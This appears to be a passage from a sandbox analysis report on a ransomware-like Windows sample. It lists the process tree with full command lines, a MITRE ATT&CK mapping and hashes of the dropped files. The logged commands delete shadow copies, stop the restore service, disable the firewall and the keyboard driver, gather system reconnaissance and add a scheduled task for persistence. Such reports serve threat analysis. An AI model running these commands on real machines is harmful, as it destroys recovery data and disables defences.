- Scheduled Task/Job: Scheduled Task
PID:2980 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4488
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3856 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3380
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4492
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4104 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:2940
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3624 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:5808
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1708
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:996 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:1912 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:824
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4180 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:6048
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:476 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:4704
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\fastfocus.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5108
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5236
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:4044
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4792
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1256
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5672 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5636
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3836 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4724
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2148
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:1500
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a25055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4064
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:5460
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C:\Users\Admin\AppData\Local\Temp\fastfocus.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\fastfocus.io_hyber.exe1⤵PID:5776
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4776
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:752
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 65c88b4ab3f288442f57bf91eac1dd52b551937fa73f44152eb76dfa1ac791ee
- MD5 53450e200ebded545de54d109690ea96
- SHA1 464b1b99058142c5ff9293c73bb67190c461c1d1
- SHA512 488726a5d8925e02effbd90cb3e8538c6032f593355f9562f1359f704476e795dc9a6e25ff4dc0f9312f7a3d6fc278dba1e1a8930de8ad4bebc2f1735f36ff23
- SSDEEP 1536:e2Rveo0zwn1+7cRMa3EJd7OrjWjoY9RWojXQQdGU4I13Vxytse8EN:egvQzwnA81Erm+X9XQQoRIJVxytse8EN
- TLSH T1AB6329334B23FDC5577F3D80F1942E820C883A6787B5666CFBC90A6938A5284DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 6fb3e6792b6b3db3694536ae2847a540eb880fd43cc2606f96e487f30ed6c935
- MD5 c632ef113ad7d97dc5b56784d5707b22
- SHA1 a8c255ecb828c0e37660464f786182d9733b8231
- SHA512 e3c288d8d68f319ffc7dbe2b77d1ebf83c3872ea58ff7236a62e6bfd2f107bfbaf4cba4b5efbef0b4fa218281a57203a5cf96c63f2249b6cf2f7f94fb0386f1b
- SSDEEP 1536:+2Rveo0zwn1+7cRMa3EJd7OrjWjoY9RWojXQQdGU4I13Vxytse8Es:+gvQzwnA81Erm+X9XQQoRIJVxytse8Es
- TLSH T1966329334B23FDC5577F3D80F0A42E510C883A6B87B5666CFBC90A6939A5284DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 243B
- SHA256 ce671d592b88dbf63a2d00413e9708e9698d27cd5eb8e0578a1b7ae6f716e656
- MD5 22ffe10c8268d055c9dcd6fa82083751
- SHA1 9a6973c5eb6138ece9e28de92b4bac95634c23e9
- SHA512 2c28e02838ce1621ddeef1e7dd6c4a4e93a58717a6eed43d0801f6d9221d294f8f24a56cbe8776428bbd63dae71d2b30ecee4cbae17026e394c7eeeff862f382
- TLSH T15FD0A78BB14DC6E90001227B81F3CE9CE9B548693B57BE704EE5DD4E32908D589F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 244B
- SHA256 68837fde2fecaf8320dfcf571910111a5ca43f132b7fc452896ecc3cd6f3d5c5
- MD5 ef5542f9c1ff4aa11cbc73f289c4b778
- SHA1 12185a223137a83c157e706ee84b216104301663
- SHA512 3cce38c111c1092ecabd2337f8e6ccf65b7b6af56f4dcaa822e35223bbdf5ef40eaaade0bdb66852c2a034d875be4cf86dbc15a858f66e0fd2849e470d28e384
- TLSH T149D0A7CBB14DC6E90001227B80F3CE9CEAF148693B67BE709EA5DD0E328089589F6543
- MD5 SHA1 SHA512 TLSH